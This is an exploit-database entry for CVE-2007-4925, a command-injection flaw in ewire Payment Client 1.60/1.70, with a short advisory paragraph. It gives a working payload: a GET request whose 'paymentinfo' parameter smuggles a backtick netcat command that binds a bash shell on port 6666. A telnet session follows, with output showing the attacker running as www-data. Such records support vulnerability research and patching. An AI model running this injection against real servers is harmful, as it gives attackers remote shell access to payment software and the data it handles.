Exploit ewire Payment Client 1.60/1.70 - Command Execution

[Exploiter]

EDB-ID

30588

Проверка EDB

1. Пройдено

Автор

ANONYMOUS

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2007-4925

Дата публикации

2007-09-17

source: https://www.securityfocus.com/bid/25683/info

ewire Payment Client is prone to a vulnerability that allows attackers to execute arbitrary shell commands because the software fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary shell commands on an affected computer with the privileges of the application using the affected class utility.

ewire Payment Client 1.60 and 1.70 are vulnerable to this issue. 

GET
http://www.example.com/simplePHPLinux/3payment_receive.php?paymentin
fo=`/bin/nc -l -p6666 -e /bin/bash`
$ telnet www.example.com 6666
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)